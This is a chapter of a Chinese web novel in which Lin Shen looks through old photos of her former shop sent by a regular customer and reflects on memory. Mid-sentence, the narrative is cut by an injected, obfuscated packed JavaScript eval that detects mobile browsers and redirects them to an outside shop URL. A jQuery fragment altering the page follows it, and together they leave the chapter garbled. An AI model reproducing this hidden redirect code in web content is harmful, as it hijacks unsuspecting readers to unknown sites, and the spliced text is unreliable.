第二天早上，林深醒来的时候，手机上多了三条消息。不是夏禾，也不是母亲，是那个常客。她靠在床头，把消息点开。第一张照片是店门口，第二张是吧台，第三张是一群人坐在一起吃宵夜。照片都很糊，像很多年前的手机拍出来的。那时候手机摄像头远没有现在好，夜景一塌糊涂，人一动就虚。可奇怪的是，那些模糊的画面反而比高清照片更像记忆。
常客发来一句：“昨天翻出来的，还有很多。”
来福不知道什么时候已经跳上床，把脑袋放到她腿边。林深一边摸它耳朵一边继续往下翻。照片里的人很多，有些她记得，有些已经忘了。其中一张照片停留了很久，照片里是吧台，一个男服务员正低头擦杯子，穿着黑色工服，头发很长。林深盯着看了半天，居然想不起名字。她记得这个人确实在店里干过，干了挺长时间，后来辞职了，可名字完全空了，像被谁用橡皮擦掉了一样。她忽然有些恍惚，原来记忆也会掉色，有的人消失了，连名字都会一起消失。
上午的时候常客又发来一张，这次是来福。来福站在桌子下面，桌上摆满菜，它抬着脑袋正目不转睛盯着一块炸鸡。照片拍得特别认真，连来福嘴边的口水都能看见。林深笑出了声，她把照片放大，来福那时候还年轻，耳朵竖得很精神，身材也没现在圆，像一颗装了四条腿的土豆。
常客发来：“它后来吃到了吗？”
林深回：“应该没有。”
“我记得吃到了。”
“你记错了。”
“绝对吃到了。”
“那可能吃到了。”
常客发来一个大笑的表情。林深忽然发现，她已经很久没和陌生人这样聊天了。没有目的，没有利益，只是单纯聊一段过去。
中午的时候夏禾发来消息：“我出门了。”后面跟着定位，一家新开的咖啡店。
林深回：“你最近越来越爱出门。”
“恢复训练。”
“恢复什么？”
“恢复当人。”
林深笑了。夏禾又发来一句：“晚上一起视频吗？”“行。”“顺便看看你家来福。”“你是来看我还是来看狗？”“狗。”“滚。”
下午天气很好，阳光落在地板上，来福躺在窗边睡觉，偶尔抽动一下腿，不知道在梦里追什么。林深继续整理照片，那个常客像突然打开了一个仓库，一张又一张，源源不断发出来——有店里的，有门口的，有聚餐的，甚至还有下雨天的。
其中一张照片特别有意思。那天外面下暴雨，店里停电，客人全坐着不走。有人举着手机照明，有人点蜡烛，陆沉站在吧台后面举着手电筒研究电箱。整个画面乱七八糟，可所有人都在笑。常客说：“那天特别好玩。”林深盯着那句话很久没说话，因为那天她记得。她记得的根本不是好玩，她记得的是急——记得冰箱断电，记得食材会坏，记得损失，记得头疼。可在顾客眼里，那天是好玩的。
她忽然发现一件事，原来同一段人生，不同的人记住的是不同的东西。她记得压力，别人记得热闹；她记得焦虑，别人记得笑声；她记得生意，别人记得生活。
常客又发来一句：“其实我那时候经常一个人去。”
林深回：“为什么？”
过了很久，对方才发来消息：“刚失恋。那段时间不太想回家。你们店里一直很多人，坐着舒服。”林深看着屏幕愣了一下。常客继续发：“有时候我进去坐两小时，其实什么都没干，就发呆。但感觉没那么孤单。”房间忽然安静下来，窗外有人经过，楼下传来汽车喇叭声，来福翻了个身继续睡。林深低头看着那几行字，突然不知道该回什么。
她一直以为自己只是开过一家店，后来店倒了，结束了。可原来在别人那里，那家店还有另一种意义——它陪过一个失恋的人，陪过一个不想回家的人，陪过很多个她根本不认识的人。她忽然想起拍视频，其实也是一样。她发视频的时候从来没想过赚钱、没想过粉丝、没想过流量，有时候拍楼下的风，有时候拍来福，有时候拍夜里的灯，只是觉得这些东西应该被留下来。后来有人留言，说“我也是”，说“谢谢你拍出来”，说“我以为只有我这样”。林深一直觉得是别人陪了自己，直到这一刻她忽然意识到，原来自己也陪过别人。
傍晚的时候常客发来最后一张照片。照片是在店门口拍的，夜晚，灯很亮，人很多。来福趴在门边，陆沉站在门口和客人说话，夏禾坐在台阶上喝饮料，而照片最角落的位置，有一个人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691719|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
举着手机，正在拍什么。常客发来一句：“你以前总在拍，那时候我还以为你以后会当导演。”
林深怔住。她把照片放大，那个举着手机的人确实是自己，头发乱糟糟的，穿着围裙，站在人群边缘，镜头对着灯光，不知道在拍什么。她看了很久，忽然有种奇怪的感觉，像看见一个陌生人。那个时候的她根本没想过以后，没想过视频，没想过二奢，没想过未来会发生什么，只是下意识地把喜欢的东西拍下来，留住，记录，如此而已。
晚上她和夏禾开视频。夏禾一接通就喊：“来福呢？”
“我就知道。”
“狗呢？”
林深把镜头转过去，来福正四仰八叉睡在地上，肚皮朝天，蓝色怪兽被压在屁股下面。夏禾笑得不行：“它怎么每天都睡得像喝醉了一样。”
“因为它不用上班。”
“羡慕。”
“我也羡慕。”
两个人聊了很久，聊咖啡店，聊天气，聊以前的事。夏禾恢复得越来越好了，说话的时候眼睛有光，会计划下周去哪，会研究哪家店好吃，会抱怨裙子涨价。生活一点一点回到她身上。
挂掉视频已经快十一点，房间重新安静下来。林深坐在电脑前整理照片，后台消息忽然跳了一下，她以为是常客。她下意识点开，然后愣住。宋青瓷。头像安安静静躺在那里，像什么都没发生过，像前面那五天根本不存在。消息只有一句：“最近怎么样？”
林深盯着屏幕看了几秒，心脏还是轻轻跳了一下。不剧烈，不像以前，却还是会跳。她回：“还那样。”
几分钟后宋青瓷回复：“那就好。”
然后没了。林深看着聊天框忽然有点想笑。好像永远都是这样——消失，出现，打个招呼，确认她还在，然后离开。像个每周固定来上两天班的人。她把手机放到旁边，没有继续等，也没有反复点开，只是继续整理那些照片。
屏幕上，年轻的来福正盯着一块炸鸡流口水，陆沉在门口和客人聊天，夏禾笑得东倒西歪，而年轻的自己站在人群边缘，举着手机，记录着一切。窗外风吹动窗帘，来福在睡梦里轻轻哼了一声。手机安静地躺在桌边，宋青瓷没有再发消息。像往常一样，上完班，下班了。